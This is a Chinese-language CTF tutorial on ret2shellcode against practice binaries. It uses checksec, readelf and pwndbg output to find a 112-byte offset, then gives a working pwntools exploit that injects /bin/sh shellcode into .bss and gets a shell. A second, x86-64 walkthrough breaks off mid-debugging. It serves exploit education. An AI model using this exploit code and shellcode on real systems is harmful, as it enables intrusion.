从零开始的 Pwn 之旅 - Ret2shellcode

总结摘要
从零开始的 Pwn 之旅 - ret2shellcode

前言

ret2shellcode 即是将程序的控制流劫持到我们构造的 shellcode 上。shellcode 是一段可以被执行的代码,通常用于执行系统命令或打开一个 shell。

想要执行 sehllcode, shellcode 所在的内存区域必须是可执行的。

使用 pwn checksec 命令检查二进制文件的安全特性,若发现 NX 被启用,则说明该二进制文件的堆栈内存区域不可执行。此方法一般而言来说会失效。

需要注意的是,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用。 应当在内核版本较老的环境中进行实验(如 Ubuntu 18.04 或更老版本)。由于容器环境间共享同一内核,因此这里我们无法通过 docker 完成环境搭建。

ret2shellcode-example

ret2shellcode

先进行安全防护检测

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ chmod +x ./ret2shellcode
$ pwn checksec ./ret2shellcode
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
[*] '/home/lhon901/work/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes

32 位程序没有任何的保护

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
$ readelf -l ./ret2shellcode

Elf file type is EXEC (Executable file)
Entry point 0x8048430
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00768 0x00768 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00128 0x001dc RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x00068c 0x0804868c 0x0804868c 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag .note.gnu.build-id
   06     .eh_frame_hdr
   07
   08     .init_array .fini_array .jcr .dynamic .got


$ readelf -WS ./ret2shellcode
There are 35 section headers, starting at offset 0x18bc:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-id NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 00002c 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481d8 0001d8 0000b0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          08048288 000288 000073 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          080482fc 0002fc 000016 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048314 000314 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             08048334 000334 000018 08   A  5   0  4
  [10] .rel.plt          REL             0804834c 00034c 000038 08   A  5  12  4
  [11] .init             PROGBITS        08048384 000384 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080483b0 0003b0 000080 04  AX  0   0 16
  [13] .text             PROGBITS        08048430 000430 000212 00  AX  0   0 16
  [14] .fini             PROGBITS        08048644 000644 000014 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048658 000658 000032 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        0804868c 00068c 00002c 00   A  0   0  4
  [17] .eh_frame         PROGBITS        080486b8 0006b8 0000b0 00   A  0   0  4
  [18] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [19] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804a000 001000 000028 04  WA  0   0  4
  [24] .data             PROGBITS        0804a028 001028 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a040 001030 0000a4 00  WA  0   0 32
  [26] .comment          PROGBITS        00000000 001030 00002b 01  MS  0   0  1
  [27] .debug_aranges    PROGBITS        00000000 00105b 000020 00      0   0  1
  [28] .debug_info       PROGBITS        00000000 00107b 0002f7 00      0   0  1
  [29] .debug_abbrev     PROGBITS        00000000 001372 0000de 00      0   0  1
  [30] .debug_line       PROGBITS        00000000 001450 0000c0 00      0   0  1
  [31] .debug_str        PROGBITS        00000000 001510 000263 01  MS  0   0  1
  [32] .shstrtab         STRTAB          00000000 001773 000146 00      0   0  1
  [33] .symtab           SYMTAB          00000000 001e34 0004f0 10     34  50  4
  [34] .strtab           STRTAB          00000000 002324 0002c8 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)

这里分别给出了程序的 segmentsection 的相关信息。

segment 是以程序运行时的内存布局角度去看的

1
GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10

这里可以看到 stack 同时具有可读、可写和可执行的权限。

值得注意的是这里的 headers 是和下面的 segment mapping 是一一对应的。 PHDR 对应 segment mmapping 中的 00 INTERP 对应 segment mmapping 中的 01 …

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00768 0x00768 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00128 0x001dc RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x00068c 0x0804868c 0x0804868c 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag .note.gnu.build-id
   06     .eh_frame_hdr
   07
   08     .init_array .fini_array .jcr .dynamic .got

这里可以看到 .text .bss 等 section 都在同一块 segment, 而它们都具有相同的 Program Header Type, 即 LOAD。LOAD 同时具有可读,可执行权限。

.bss .data 等 section 一般用来存储数据,user 可写,如果我们能在里面部署 shellcode,把返回地址劫持到相应地址,就可以获取 shellcode 了。

测算偏移量:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
$ pwn cyclic 1000
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj

$ gdb ./ret2shellcode
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 142 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from ./ret2shellcode...done.
------- tip of the day (disable with set show-tips off) -------
Use GDB's pi command to run an interactive Python console where you can use Pwndbg APIs like pwndbg.gdblib.memory.read(addr, len), pwndbg.gdblib.memory.write(addr, data), pwndbg.gdb.vmmap.get() and so on!
pwndbg> r
Starting program: /home/lhon901/work/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode
No system for you this time !!!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
bye bye ~
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────
 EAX  0x0
 EBX  0x0
*ECX  0x9
*EDX  0xf7fba890 (_IO_stdfile_1_lock) ◂— 0
 EDI  0x0
*ESI  0xf7fb9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
*EBP  0x62616163 ('caab')
*ESP  0xffffd310 ◂— 0x62616165 ('eaab')
*EIP  0x62616164 ('daab')
──────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────
Invalid address 0x62616164










───────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ esp 0xffffd310 ◂— 0x62616165 ('eaab')
01:0004│     0xffffd314 ◂— 0x62616166 ('faab')
02:0008│     0xffffd318 ◂— 0x62616167 ('gaab')
03:000c│     0xffffd31c ◂— 0x62616168 ('haab')
04:0010│     0xffffd320 ◂— 0x62616169 ('iaab')
05:0014│     0xffffd324 ◂— 0x6261616a ('jaab')
06:0018│     0xffffd328 ◂— 0x6261616b ('kaab')
07:001c│     0xffffd32c ◂— 0x6261616c ('laab')
─────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────
 ► 0 0x62616164
   1 0x62616165
   2 0x62616166
   3 0x62616167
   4 0x62616168
   5 0x62616169
   6 0x6261616a
   7 0x6261616b
───────────────────────────────────────────────────────────────────────────────────────
pwndbg> pwn cyclic -l daab
112
This command is deprecated in Pwndbg. Please use the GDB's built-in syntax for running shell commands instead: !pwn <args>
pwndbg>

偏移量为 112

进行静态逆向:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(s);
  strncpy(buf2, s, 0x64u);
  printf("bye bye ~");
  return 0;
}

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7Bo
.bss:0804A080 _bss            ends
.bss:0804A080
buf2 在 bss 段上

gets 函数可以栈溢出,strncpy 函数将输入的 0x64 个字节内容复制到 buf2 中。 我们可以构造 shellcode 并将其放入 buf2 中。然后劫持返回地址到 buf2 的地址。

不能在返回地址处直接覆盖 shellcode, ret 指令会调转到返回地址并且执行里面的内容,所以返回地址处应该是 buf2 的地址
默认情况下栈和动态链接库地址会随机化,除非泄露栈上地址,否则无法利用

构造 exp.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *

p = process("./ret2shellcode")

context.arch = "i386"

shellcode = shellcraft.sh()
shellcode = asm(shellcode)

print(shellcode)

payload = shellcode.ljust(112, b"\x00") + p32(0x804a080)
p.sendline(payload)

p.interactive()

shellcraft.sh() 会帮助我们生成一个简单的 shellcode,执行 /bin/sh。但是使用前需要先指明架构 context.arch = "i386"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ python3 exp.py
[+] Starting local process './ret2shellcode': pid 31713
b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
[*] Switching to interactive mode
No system for you this time !!!
bye bye ~$ whoami
lhon901
$
[*] Interrupted
[*] Stopped process './ret2shellcode' (pid 31713)

获取 shell 成功

sniperoj-pwn100-shellcode-x86-64

sniperoj-pwn100-shellcode-x86-64

先进行安全防护检测

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
$ chmod +x ./shellcode

$ pwn checksec ./shellcode
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
[*] '/home/lhon901/work/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2shellcode/sniperoj-pwn100-shellcode-x86-64/shellcode'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

$ readelf -l ./shellcode

Elf file type is DYN (Shared object file)
Entry point 0x6a0
There are 9 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040
                 0x00000000000001f8 0x00000000000001f8  R E    0x8
  INTERP         0x0000000000000238 0x0000000000000238 0x0000000000000238
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000a8c 0x0000000000000a8c  R E    0x200000
  LOAD           0x0000000000000dd8 0x0000000000200dd8 0x0000000000200dd8
                 0x0000000000000270 0x0000000000000280  RW     0x200000
  DYNAMIC        0x0000000000000df0 0x0000000000200df0 0x0000000000200df0
                 0x00000000000001e0 0x00000000000001e0  RW     0x8
  NOTE           0x0000000000000254 0x0000000000000254 0x0000000000000254
                 0x0000000000000044 0x0000000000000044  R      0x4
  GNU_EH_FRAME   0x0000000000000940 0x0000000000000940 0x0000000000000940
                 0x000000000000003c 0x000000000000003c  R      0x4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RWE    0x10
  GNU_RELRO      0x0000000000000dd8 0x0000000000200dd8 0x0000000000200dd8
                 0x0000000000000228 0x0000000000000228  R      0x1

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag .note.gnu.build-id
   06     .eh_frame_hdr
   07
   08     .init_array .fini_array .jcr .dynamic .got

.bss .data 无执行权限, stack 可执行

静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[0] = 0;
  buf[1] = 0;
  setvbuf(_bss_start, 0, 1, 0);
  puts("Welcome to Sniperoj!");
  printf("Do your kown what is it : [%p] ?\n", buf);
  puts("Now give me your answer : ");
  read(0, buf, 0x40u);
  return 0;
}

printf 函数会泄露栈上的参数 buf 的地址 read 函数可以栈溢出 覆盖返回地址为 buf 的地址,buf 内写入 shellcode 程序关闭 NX,栈有可执行权限

测算偏移量:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
$ pwn cyclic 1000
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj

$ gdb shellcode
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 142 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from shellcode...(no debugging symbols found)...done.
------- tip of the day (disable with set show-tips off) -------
Use the telescope command to dereference a given address/pointer multiple times (if the dereferenced value is a valid ptr; see config telescope to configure its behavior)
pwndbg> r
Starting program: /home/lhon901/work/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2shellcode/sniperoj-pwn100-shellcode-x86-64/shellcode
Welcome to Sniperoj!
Do your kown what is it : [0x7fffffffe180] ?
Now give me your answer :
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj

Program received signal SIGSEGV, Segmentation fault.
0x0000555555554852 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────
 RAX  0x0
 RBX  0x0
*RCX  0x7ffff7af2031 (read+17) ◂— cmp rax, -01000h /* 'H=' */
*RDX  0x40
 RDI  0x0
*RSI  0x7fffffffe180 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
*R8   0x7ffff7fe44c0 ◂— rol byte ptr [rsi + rdi*8 - 9], 0ffh /* 0x7ffff7fe44c0 */
 R9   0x0
*R10  0x3
*R11  0x246
*R12  0x5555555546a0 (_start) ◂— 0x89485ed18949ed31
*R13  0x7fffffffe270 ◂— 0x1
 R14  0x0
 R15  0x0
*RBP  0x6161616661616165 ('eaaafaaa')
*RSP  0x7fffffffe198 ◂— 'gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
*RIP  0x555555554852 (main+130) ◂— 0x841f0f2e66c3
─────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────
 ► 0x555555554852 <main+130>              ret    <0x6161616861616167>

   0x555555554853                         nop    word ptr cs:[rax + rax]
   0x55555555485d                         nop    dword ptr [rax]
   0x555555554860 <__libc_csu_init>       push   r15
   0x555555554862 <__libc_csu_init+2>     push   r14
   0x555555554864 <__libc_csu_init+4>     mov    r15d, edi
   0x555555554867 <__libc_csu_init+7>     push   r13
   0x555555554869 <__libc_csu_init+9>     push   r12
   0x55555555486b <__libc_csu_init+11>    lea    r12, [rip + 200566h]
   0x555555554872 <__libc_csu_init+18>    push   rbp
   0x555555554873 <__libc_csu_init+19>    lea    rbp, [rip + 200566h]
───────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ rsp 0x7fffffffe198 ◂— 'gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
01:0008│     0x7fffffffe1a0 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaa'
02:0010│     0x7fffffffe1a8 ◂— 'kaaalaaamaaanaaaoaaapaaa'
03:0018│     0x7fffffffe1b0 ◂— 'maaanaaaoaaapaaa'
04:0020│     0x7fffffffe1b8 ◂— 'oaaapaaa'
05:0028│     0x7fffffffe1c0 ◂— 0x0
06:0030│     0x7fffffffe1c8 ◂— 0xa67c817ee56de54
07:0038│     0x7fffffffe1d0 —▸ 0x5555555546a0 (_start) ◂— 0x89485ed18949ed31
─────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────
0   0x555555554852 main+130
   1 0x6161616861616167
   2 0x6161616a61616169
   3 0x6161616c6161616b
   4 0x6161616e6161616d
   5 0x616161706161616f
   6              0x0
───────────────────────────────────────────────────────────────────────────────────────
pwndbg> qaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
